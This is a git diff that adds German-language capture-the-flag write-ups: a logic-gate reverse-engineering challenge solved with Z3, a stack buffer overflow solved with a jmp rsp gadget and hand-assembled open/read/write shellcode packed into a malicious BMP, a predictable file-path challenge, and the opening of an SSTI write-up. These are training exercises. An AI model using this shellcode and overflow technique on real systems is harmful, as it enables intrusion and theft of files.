||||
# -----------------------------------------------------------------------------
|
||||
log.info("SCHRITT 3: Scharfschalten...")
|
||||
send_cmd(f"movi h,{hex(addr_pivot)}")
|
||||
wait_prompt()
|
||||
send_cmd(f"execute")
|
||||
p.recvuntil(b"> ")
|
||||
log.success(f" Scharfgeschaltet")
|
||||
|
||||
log.info("Wird ausgeführt...")
|
||||
send_cmd(f"debug")
|
||||
|
||||
try:
|
||||
# recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
|
||||
output = p.recvall(timeout=3)
|
||||
|
||||
print("\n" + "="*50)
|
||||
print("FINALE AUSGABE:")
|
||||
print(output.decode(errors='ignore'))
|
||||
print("="*50)
|
||||
|
||||
except Exception as e:
|
||||
log.error(f"Fehler beim Empfangen des Flags: {e}")
|
||||
|
||||
p.close()
|
||||
```
|
||||
215
de/gatekeeper.md
Normal file
215
de/gatekeeper.md
Normal file
@@ -0,0 +1,215 @@
|
||||
# The Gatekeeper
|
||||
|
||||
`gatekeeper` ist eine Reverse-Engineering-Challenge, die eine software-simulierte Hardwareschaltung beinhaltet. Uns wird eine Binärdatei bereitgestellt und wir müssen die Eingabe finden, die den Stromkreis "vervollständigt" und die LED einschaltet.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Zuerst analysieren wir die Binärdatei:
|
||||
|
||||
```bash
|
||||
$ file gatekeeper
|
||||
gatekeeper: ELF 64-bit LSB pie executable, x86-64, ... stripped
|
||||
```
|
||||
|
||||
Es ist eine gestrippte, statisch gelinkte 64-Bit-ELF-ausführbare Datei. Wenn sie ausgeführt wird, fragt sie nach einer Flagge.
|
||||
|
||||
```bash
|
||||
$ ./gatekeeper
|
||||
--- THE GATEKEEPER ---
|
||||
Enter the flag that lights up the LED: AAAA
|
||||
LED is OFF
|
||||
```
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
### 1. Analyse von Main (`FUN_00108860`)
|
||||
|
||||
Wir öffnen die Binärdatei in Ghidra und lokalisieren die `main`-Funktion bei `0x00108860`.
|
||||
|
||||
```c
|
||||
undefined8 main(void)
|
||||
{
|
||||
// ... Stack-Setup ...
|
||||
|
||||
FUN_00114970("--- THE GATEKEEPER ---");
|
||||
do {
|
||||
FUN_00153610(1, "Enter the flag that lights up the LED: ");
|
||||
|
||||
// Benutzereingabe lesen
|
||||
lVar1 = FUN_00114410(local_1e8, 0x80, PTR_DAT_001d4d78);
|
||||
if (lVar1 == 0) break;
|
||||
|
||||
// Längenprüfung
|
||||
lVar1 = thunk_FUN_001246c0(local_1e8);
|
||||
if (lVar1 == 36) {
|
||||
|
||||
// ... (Komplexe Logik zur Erweiterung von 36 Zeichen in 288 Bits) ...
|
||||
|
||||
// Löschen eines großen Arrays bei 0x1d6940 (Cache/Memoization)
|
||||
puVar6 = &DAT_001d6940;
|
||||
for (lVar1 = 0x1ba; lVar1 != 0; lVar1 = lVar1 + -1) {
|
||||
*puVar6 = 0;
|
||||
puVar6 = puVar6 + 1;
|
||||
}
|
||||
|
||||
// Aufruf der Verifizierungsfunktion
|
||||
// Sie nimmt 0x374 (884) als erstes Argument und das Bit-Array als zweites
|
||||
iVar2 = FUN_001090d0(0x374, &local_168);
|
||||
|
||||
if (iVar2 == 1) {
|
||||
FUN_00114970("LED is ON");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
FUN_00114970("LED is OFF");
|
||||
} while( true );
|
||||
}
|
||||
```
|
||||
|
||||
Aus `main` lernen wir:
|
||||
1. Die Flagge muss genau **36 Zeichen** lang sein.
|
||||
2. Die Eingabe wird in ein Array von Bits umgewandelt.
|
||||
3. Eine Verifizierungsfunktion `FUN_001090d0` wird aufgerufen, beginnend mit dem Index **884**.
|
||||
|
||||
### 2. Identifizierung der Gatterlogik (`FUN_001090d0`)
|
||||
|
||||
Die Funktion `FUN_001090d0` bestimmt, ob unsere Eingabe korrekt ist. Sie fungiert als rekursiver Auswerter für eine Logikschaltung.
|
||||
|
||||
Sie akzeptiert einen `gate_index` als Argument. Sie verwendet diesen Index, um eine Gatterstruktur aus einem globalen Array bei `0x001d1020` nachzuschlagen. Jede Gatterstruktur enthält einen Opcode und Indizes für andere Gatter (Eingänge).
|
||||
|
||||
**Der rekursive Prozess:**
|
||||
Wenn die Funktion ein Gatter auswertet (z.B. ein UND-Gatter), kann sie das Ergebnis nicht sofort wissen. Stattdessen muss sie zuerst den Zustand der Eingänge bestimmen, die in dieses Gatter einspeisen.
|
||||
1. Sie ruft sich selbst (`FUN_001090d0`) mit dem Index des **linken Kindes** auf.
|
||||
2. Sie ruft sich selbst mit dem Index des **rechten Kindes** auf.
|
||||
3. Sie führt die Logikoperation (UND/ODER/XOR) auf diesen beiden Ergebnissen aus und gibt den Wert zurück.
|
||||
|
||||
Diese Rekursion setzt sich tief in den Schaltungsbaum fort, bis sie auf einen "Basisfall" trifft: ein **INPUT**-Gatter (Fall 0). Das INPUT-Gatter liest einfach ein Bit aus unserer Flagge und gibt es zurück, wodurch die Rekursion für diesen Zweig gestoppt wird. Die Werte wandern dann den Baum wieder hinauf zur Wurzel.
|
||||
|
||||
Durch die Analyse der `switch`-Anweisung im Inneren können wir die spezifischen Operationen identifizieren:
|
||||
|
||||
#### Fall 1: UND-Gatter
|
||||
Diese Logik repräsentiert eine UND-Operation. Beachten Sie die Rekursion: Es wertet zuerst das linke Kind aus. Wenn das 0 zurückgibt, wird kurzgeschlossen und 0 zurückgegeben. Andernfalls wird das rechte Kind ausgewertet.
|
||||
```c
|
||||
case 1:
|
||||
// Rekursiver Aufruf für linkes Kind
|
||||
if (FUN_001090d0(left_idx) == 0) {
|
||||
result = 0;
|
||||
} else {
|
||||
// Rekursiver Aufruf für rechtes Kind
|
||||
result = FUN_001090d0(right_idx);
|
||||
}
|
||||
return result;
|
||||
```
|
||||
|
||||
#### Fall 2: ODER-Gatter
|
||||
Ähnlich wie UND, gibt aber 1 zurück, wenn das linke Kind 1 ist.
|
||||
```c
|
||||
case 2:
|
||||
if (FUN_001090d0(left_idx) == 1) {
|
||||
result = 1;
|
||||
} else {
|
||||
result = FUN_001090d0(right_idx);
|
||||
}
|
||||
return result;
|
||||
```
|
||||
|
||||
#### Fall 3: XOR-Gatter
|
||||
Dies verwendet explizit den XOR-Operator auf den Ergebnissen der beiden rekursiven Aufrufe.
|
||||
```c
|
||||
case 3:
|
||||
result = FUN_001090d0(left_idx) ^ FUN_001090d0(right_idx);
|
||||
return result;
|
||||
```
|
||||
|
||||
#### Fall 4: NICHT-Gatter
|
||||
Dieses Gatter hat nur einen Eingang (linkes Kind). Es ruft die Funktion rekursiv auf und invertiert das Ergebnis.
|
||||
```c
|
||||
case 4:
|
||||
result = !FUN_001090d0(left_idx);
|
||||
return result;
|
||||
```
|
||||
|
||||
#### Fall 0: INPUT-Gatter
|
||||
Dies ist der Basisfall der Rekursion. Es ruft ein rohes Bit aus dem Eingabe-Array des Benutzers ab.
|
||||
```c
|
||||
case 0:
|
||||
return input_bits[gate->bit_index];
|
||||
```
|
||||
|
||||
**Schlussfolgerung:**
|
||||
Die Binärdatei ist ein **Logikgatter-Simulator**. Der Verifizierungsmechanismus ist eine große Schaltung (885 Gatter), die im `.data`-Abschnitt gespeichert ist. Wir müssen die Eingabebits finden, die dazu führen, dass das finale "Wurzel"-Gatter (884) eine logische `1` ausgibt.
|
||||
|
||||
## Lösung
|
||||
|
||||
Wir können dies lösen, indem wir das Gatter-Array extrahieren und den **Z3 Theorem Prover** verwenden. Z3 ermöglicht es uns, die gesamte Schaltung als eine Menge von Bedingungen zu modellieren und die Eingabe zu finden, die diese erfüllt.
|
||||
|
||||
### Solver-Skript
|
||||
|
||||
1. **Gatter extrahieren**: Jedes Gatter bei `0x1d1020` besteht aus 4 Integern: `[Opcode, Left_Index, Right_Index, Bit_Index]`.
|
||||
2. **Variablen definieren**: Erstelle 288 boolesche Variablen für die Flaggenbits.
|
||||
3. **Logik modellieren**: Definiere rekursiv die Ausgabe jedes Gatters in Bezug auf Z3-Operatoren (`z3.And`, `z3.Or`, `z3.Xor`, `z3.Not`).
|
||||
4. **Lösen**: Sage Z3, dass Gatter 884 `Wahr` sein muss.
|
||||
|
||||
```python
|
||||
import struct
|
||||
import z3
|
||||
|
||||
FILENAME = "gatekeeper"
|
||||
OFFSET = 0xd0020 # Datei-Offset für globales Array bei 0x1d1020
|
||||
GATE_COUNT = 885
|
||||
FLAG_LEN = 36
|
||||
|
||||
# In Ghidra identifizierte Opcodes
|
||||
OP_INPUT, OP_AND, OP_OR, OP_XOR, OP_NOT = range(5)
|
||||
|
||||
class Gate:
|
||||
def __init__(self, op, left, right, val):
|
||||
self.op, self.left, self.right, self.val = op, left, right, val
|
||||
|
||||
def solve():
|
||||
# 1. Schaltung aus Binärdatei laden
|
||||
gates = {}
|
||||
with open(FILENAME, "rb") as f:
|
||||
f.seek(OFFSET)
|
||||
for i in range(GATE_COUNT):
|
||||
data = f.read(16)
|
||||
op, left, right, val = struct.unpack("<iiii", data)
|
||||
gates[i] = Gate(op, left, right, val)
|
||||
|
||||
# 2. Solver einrichten
|
||||
s = z3.Solver()
|
||||
input_bits = [z3.Bool(f'bit_{i}') for i in range(FLAG_LEN * 8)]
|
||||
gate_vars = {}
|
||||
|
||||
def get_var(idx):
|
||||
if idx in gate_vars: return gate_vars[idx]
|
||||
g = gates[idx]
|
||||
if g.op == OP_INPUT: res = input_bits[g.val]
|
||||
elif g.op == OP_AND: res = z3.And(get_var(g.left), get_var(g.right))
|
||||
elif g.op == OP_OR: res = z3.Or(get_var(g.left), get_var(g.right))
|
||||
elif g.op == OP_XOR: res = z3.Xor(get_var(g.left), get_var(g.right))
|
||||
elif g.op == OP_NOT: res = z3.Not(get_var(g.left))
|
||||
gate_vars[idx] = res
|
||||
return res
|
||||
|
||||
# 3. Behaupten, dass Wurzelgatter 1 ist
|
||||
s.add(get_var(GATE_COUNT - 1) == True)
|
||||
|
||||
# 4. Ergebnis extrahieren
|
||||
if s.check() == z3.sat:
|
||||
m = s.model()
|
||||
bits = [1 if m.evaluate(input_bits[i]) else 0 for i in range(FLAG_LEN * 8)]
|
||||
flag = ""
|
||||
for i in range(FLAG_LEN):
|
||||
char_val = 0
|
||||
for b in range(8):
|
||||
if bits[i*8 + (7-b)] == 1: char_val |= (1 << b)
|
||||
flag += chr(char_val)
|
||||
print(f"Flag: {flag}")
|
||||
|
||||
solve()
|
||||
```
|
||||
|
||||
### Ergebnis
|
||||
Das Ausführen des Skripts liefert die Flagge:
|
||||
`{flag: S0ftW4r3_d3F1n3d_l0g1c_G4t3s}`
|
||||
302
de/glitchify.md
Normal file
302
de/glitchify.md
Normal file
@@ -0,0 +1,302 @@
|
||||
# Glitchify
|
||||
Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.
|
||||
|
||||
## Erste Analyse
|
||||
|
||||
Uns werden die folgenden Dateien zur Verfügung gestellt:
|
||||
- `app.py`: Der Flask-Web-Wrapper.
|
||||
- `glitcher`: Das kompilierte ELF64-Binary.
|
||||
- `compose.yml` & `Dockerfile`: Die Container-Konfiguration.
|
||||
- `good.bmp` & `bad.bmp`: Beispielbilder.
|
||||
|
||||
### 1. Identifizierung des Ziels
|
||||
Durch Untersuchung des `Dockerfile` können wir genau sehen, wie der Server eingerichtet ist:
|
||||
```dockerfile
|
||||
WORKDIR /home/ctf
|
||||
COPY glitcher .
|
||||
COPY app.py .
|
||||
COPY flag.txt .
|
||||
```
|
||||
Das Flag befindet sich unter `/home/ctf/flag.txt`. Unser Ziel ist es, diese Datei zu lesen.
|
||||
|
||||
### 2. Verständnis der Pipeline
|
||||
Das `app.py`-Skript zeigt, dass der Server den `stdout` des Binarys abfängt und dem Benutzer anzeigt:
|
||||
```python
|
||||
result = subprocess.run(
|
||||
['./glitcher', b64_data],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=2
|
||||
)
|
||||
output = result.stdout + result.stderr
|
||||
```
|
||||
Wenn wir einen Shellcode ausführen können, der `flag.txt` liest und in den `stdout` schreibt, erscheint das Flag direkt in der Weboberfläche.
|
||||
|
||||
## Binary Reconnaissance (Erkundung des Binarys)
|
||||
|
||||
Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.
|
||||
|
||||
### 1. Dateieigenschaften
|
||||
```bash
|
||||
$ file glitcher
|
||||
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
|
||||
```
|
||||
Das Binary ist **not stripped**, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.
|
||||
|
||||
### 2. Sicherheitsmechanismen
|
||||
```bash
|
||||
$ readelf -h glitcher | grep Type
|
||||
Type: EXEC (Executable file)
|
||||
```
|
||||
**PIE ist deaktiviert**. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.
|
||||
|
||||
```bash
|
||||
$ readelf -l glitcher | grep -A 1 GNU_STACK
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||
```
|
||||
**NX ist deaktiviert** (`RWE`). Dies ist eine entscheidende Erkenntnis: **Der Stack ist ausführbar**. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.
|
||||
|
||||
## Statische Analyse (Verfolgung des Ausführungsflusses)
|
||||
|
||||
Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.
|
||||
|
||||
### 1. Der Einstiegspunkt (`main`)
|
||||
Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:
|
||||
1. Es reserviert Speicher für die Rohdaten.
|
||||
2. Es ruft `base64_decode` auf, um unsere Eingabe wieder in Binärdaten umzuwandeln.
|
||||
3. Es übergibt diese dekodierten Daten an die Funktion `process_bmp`.
|
||||
|
||||
### 2. Validierung des Bildes (`process_bmp`)
|
||||
Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:
|
||||
1. **Header-Check**: Sie überprüft die "BM"-Magic-Bytes.
|
||||
2. **Format-Check**: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
|
||||
3. **Größenberechnung**: Sie berechnet die Gesamtgröße der Pixeldaten: `width * height * 3`.
|
||||
4. **Übergabe**: Schließlich ruft sie `apply_noise_filter` auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete `data_size`.
|
||||
|
||||
### 3. Die Schwachstelle (`apply_noise_filter`)
|
||||
Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:
|
||||
```c
|
||||
void apply_noise_filter(char *src_data, int data_size) {
|
||||
char process_buffer[3072]; // Feste Größe auf dem Stack
|
||||
|
||||
// ... Log-Initialisierung ...
|
||||
|
||||
// KRITISCH: Keine Prüfung, ob data_size > 3072!
|
||||
memcpy(process_buffer, src_data, data_size);
|
||||
|
||||
// ... XOR-Schleife (Der "Glitch") ...
|
||||
}
|
||||
```
|
||||
Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.
|
||||
|
||||
### 4. Der "Glitch"-Filter
|
||||
Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:
|
||||
```c
|
||||
for (idx = 0; idx < data_size; idx++) {
|
||||
process_buffer[idx] ^= (char)(idx % 256);
|
||||
}
|
||||
```
|
||||
Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR).
|
||||
|
||||
## Exploitation-Strategie (Den Pfad finden)
|
||||
|
||||
Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.
|
||||
|
||||
### 1. Suche nach einem Gadget
|
||||
Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie:
|
||||
- `jmp rsp`
|
||||
- `call rsp`
|
||||
- `push rsp; ret`
|
||||
|
||||
### 2. Jagd nach dem Gadget
|
||||
Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`:
|
||||
|
||||
```bash
|
||||
$ objdump -d glitcher -M intel | grep "jmp rsp"
|
||||
4018d6: ff e4 jmp rsp
|
||||
```
|
||||
|
||||
Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**.
|
||||
|
||||
### 3. Verifizierung
|
||||
Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:
|
||||
|
||||
```bash
|
||||
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
|
||||
00000000004018ce <get_pixels>:
|
||||
4018ce: f3 0f 1e fa endbr64
|
||||
4018d2: 55 push rbp
|
||||
4018d3: 48 89 e5 mov rbp,rsp
|
||||
4018d6: ff e4 jmp rsp
|
||||
```
|
||||
|
||||
Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden.
|
||||
|
||||
## Den Exploit Schritt für Schritt aufbauen
|
||||
|
||||
### Schritt 1: Erstellung des Shellcodes
|
||||
Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly:
|
||||
|
||||
```nasm
|
||||
; --- "flag.txt" öffnen ---
|
||||
push 0 ; Null-Terminator für String
|
||||
mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian)
|
||||
push rbx ; String auf Stack pushen
|
||||
mov rdi, rsp ; RDI = Zeiger auf "flag.txt"
|
||||
xor esi, esi ; RSI = 0 (O_RDONLY)
|
||||
push 2 ; RAX = 2 (sys_open)
|
||||
pop rax
|
||||
syscall ; open("flag.txt", 0)
|
||||
|
||||
; --- Dateiinhalt lesen ---
|
||||
mov rdi, rax ; RDI = File Descriptor (von rax)
|
||||
mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden)
|
||||
mov edx, 0x100 ; RDX = 256 Bytes zum Lesen
|
||||
push 0 ; RAX = 0 (sys_read)
|
||||
pop rax
|
||||
syscall ; read(fd, rsp, 256)
|
||||
|
||||
; --- In stdout schreiben ---
|
||||
mov rdx, rax ; RDX = gelesene Bytes (von rax)
|
||||
push 1 ; RDI = 1 (stdout)
|
||||
pop rdi
|
||||
push 1 ; RAX = 1 (sys_write)
|
||||
pop rax
|
||||
syscall ; write(1, rsp, rdx)
|
||||
|
||||
; --- Sauber beenden ---
|
||||
push 60 ; RAX = 60 (sys_exit)
|
||||
pop rax
|
||||
xor rdi, rdi ; RDI = 0
|
||||
syscall ; exit(0)
|
||||
```
|
||||
|
||||
### Schritt 2: Berechnung des Paddings
|
||||
Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.
|
||||
- **Padding**: 3080 Bytes.
|
||||
- **Rücksprungadresse**: `0x4018d6` (`jmp rsp`).
|
||||
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
|
||||
|
||||
### Schritt 3: Umgehung des XOR-Filters
|
||||
Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.
|
||||
```python
|
||||
scrambled = bytearray()
|
||||
for i in range(len(raw_payload)):
|
||||
scrambled.append(raw_payload[i] ^ (i % 256))
|
||||
```
|
||||
|
||||
### Schritt 4: In ein BMP verpacken
|
||||
Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.
|
||||
```python
|
||||
# Magic 'BM' + Header + Gescrambelte Daten
|
||||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||
final_file = bmp_header + info_header + scrambled
|
||||
```
|
||||
|
||||
## Der finale Solver
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
|
||||
GADGET_ADDR = 0x4018d6
|
||||
|
||||
def get_payload():
|
||||
# 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
|
||||
# OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
|
||||
shellcode = (
|
||||
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
|
||||
b"\x48\x89\xe7" # mov rdi, rsp (Dateiname-Zeiger)
|
||||
b"\x31\xf6" # xor esi, esi (O_RDONLY)
|
||||
b"\x6a\x02" # push 2 (sys_open)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (open)
|
||||
|
||||
b"\x48\x89\xc7" # mov rdi, rax (fd)
|
||||
b"\x48\x89\xe6" # mov rsi, rsp (Stack als Puffer nutzen)
|
||||
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max. Anzahl)
|
||||
b"\x6a\x00" # push 0 (sys_read)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (read)
|
||||
|
||||
# --- FIX BEGINNT HIER ---
|
||||
# read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
|
||||
# Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
|
||||
b"\x48\x89\xc2" # mov rdx, rax
|
||||
# --- FIX ENDET HIER ---
|
||||
|
||||
b"\x6a\x01" # push 1 (stdout)
|
||||
b"\x5f" # pop rdi
|
||||
b"\x6a\x01" # push 1 (sys_write)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (write)
|
||||
|
||||
b"\x6a\x3c" # push 60 (sys_exit)
|
||||
b"\x58" # pop rax
|
||||
b"\x31\xff" # xor rdi, rdi (Status 0)
|
||||
b"\x0f\x05" # syscall (exit)
|
||||
)
|
||||
|
||||
# 2. Aufbau des Roh-Payload-Layouts
|
||||
# Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
|
||||
padding = b"A" * 3080
|
||||
ret_addr = struct.pack("<Q", GADGET_ADDR)
|
||||
|
||||
# Kombinierter Roh-Payload
|
||||
raw_payload = padding + ret_addr + shellcode
|
||||
|
||||
# 3. Anwendung des XOR-Scrambling
|
||||
# Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
|
||||
# Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
|
||||
scrambled_payload = bytearray()
|
||||
for i in range(len(raw_payload)):
|
||||
key = i % 256
|
||||
scrambled_payload.append(raw_payload[i] ^ key)
|
||||
|
||||
return scrambled_payload
|
||||
|
||||
def generate_bmp(payload):
|
||||
# BMP benötigt width * height * 3 Bytes an Daten.
|
||||
# Payload anpassen, damit er durch 3 teilbar ist.
|
||||
while len(payload) % 3 != 0:
|
||||
idx = len(payload)
|
||||
payload.append(0 ^ (idx % 256))
|
||||
|
||||
# Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
|
||||
height = 1
|
||||
width = len(payload) // 3
|
||||
|
||||
# Header-Größe ist 54 Bytes
|
||||
file_size = 54 + len(payload)
|
||||
|
||||
# Header konstruieren (Little Endian)
|
||||
# Magic 'BM' + Dateigröße + Reserviert + Offset(54)
|
||||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||
|
||||
# Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
|
||||
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||
|
||||
return bmp_header + info_header + payload
|
||||
|
||||
def main():
|
||||
print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
|
||||
|
||||
payload = get_payload()
|
||||
bmp_file = generate_bmp(payload)
|
||||
|
||||
output_filename = "exploit.bmp"
|
||||
with open(output_filename, "wb") as f:
|
||||
f.write(bmp_file)
|
||||
|
||||
print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
|
||||
print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
Lade `exploit.bmp` auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!
|
||||
|
||||
Stay glitchy!
|
||||
53
de/hidden_flag.md
Normal file
53
de/hidden_flag.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Hidden Flag
|
||||
|
||||
Willkommen zum Write-up für **Hidden Flag**. Dies ist eine "Web"-Challenge, die sich auf **Information Disclosure** (Informationspreisgabe) und **Predictable Resource Location** (Vorhersehbare Ressourcenpfade) konzentriert.
|
||||
|
||||
In dieser Challenge ist es unsere Aufgabe, eine Datei namens `flag.txt` zu finden und herunterzuladen, die irgendwo auf der CTF-Plattform versteckt ist.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge-Beschreibung gibt uns ein sehr einfaches Ziel:
|
||||
> "Kannst du die versteckte flag.txt Datei auf dieser Seite herunterladen?"
|
||||
|
||||
Im Gegensatz zu vielen anderen Challenges erhalten wir keinen direkten Link oder ein Quellcode-Archiv. Wir müssen die CTF-Plattform selbst nach Hinweisen durchsuchen, wo Dateien gespeichert sind.
|
||||
|
||||
## 2. Analyse der Plattform
|
||||
|
||||
Wenn wir uns andere Challenges auf der Plattform ansehen (wie **SmashMe**), stellen wir fest, dass sie herunterladbare Dateien bereitstellen. Wenn wir die Download-Links für diese Challenges untersuchen, sehen wir ein Muster in den URLs:
|
||||
|
||||
`https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||
|
||||
Die Plattform scheint alle challenge-bezogenen Dateien in einem öffentlichen Verzeichnis unter `/files/` zu speichern.
|
||||
|
||||
## 3. Die Schwachstelle: Vorhersehbare Ressourcenpfade
|
||||
|
||||
Die Schwachstelle hier ist, dass der Server sensible Dateien (wie die Flagge) im selben Verzeichnis wie öffentliche Assets speichert und dieses Verzeichnis direkt für Benutzer zugänglich ist. Während die anderen Dateinamen zufällig aussehen mögen (z.B. `1769295971401-...`), wissen wir aus der Beschreibung, dass die Datei, die wir suchen, genau `flag.txt` heißt.
|
||||
|
||||
Wenn der Server keine ordnungsgemäßen Zugriffskontrollen für dieses Verzeichnis hat, können wir den Pfad zur Datei einfach erraten.
|
||||
|
||||
## 4. Ausnutzung
|
||||
|
||||
Um die Challenge zu lösen, nehmen wir eine bekannte funktionierende Datei-URL und ersetzen den Dateinamen durch unser Ziel:
|
||||
|
||||
1. **Original-URL:** `https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||
2. **Modifizierte URL:** `https://ctf.hackimpott.de/files/flag.txt`
|
||||
|
||||
Indem wir in unserem Browser zur modifizierten URL navigieren (oder `curl` verwenden), erlaubt uns der Server, die Datei herunterzuladen, wodurch ihr Inhalt enthüllt wird.
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Das Öffnen der heruntergeladenen `flag.txt` enthüllt die Flagge:
|
||||
|
||||
**Flag:** `{flag: well_done_little_pwnie_:)}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
Diese Challenge zeigt, warum es wichtig ist, statische Dateiverzeichnisse ordnungsgemäß zu sichern.
|
||||
* **Zugriffskontrolle:** Dateien, die nicht öffentlich sein sollen, sollten niemals in einem öffentlich zugänglichen Verzeichnis gespeichert werden.
|
||||
* **Obfuscation ist keine Sicherheit:** Selbst wenn Sie lange, zufällige Dateinamen für einige Dateien verwenden, schützt dies andere Dateien im selben Verzeichnis nicht, wenn deren Namen vorhersehbar sind (wie `flag.txt`, `config.php` oder `backup.zip`).
|
||||
|
||||
Viel Spaß beim Jagen!
|
||||
108
de/render_me_this.md
Normal file
108
de/render_me_this.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This
|
||||
|
||||
Willkommen zum Write-up für **Render Me This**. Diese Challenge fällt in die Kategorie "Web" und demonstriert eine schwerwiegende Schwachstelle in modernen Web-Frameworks, bekannt als **Server-Side Template Injection (SSTI)**.
|
||||
|
||||
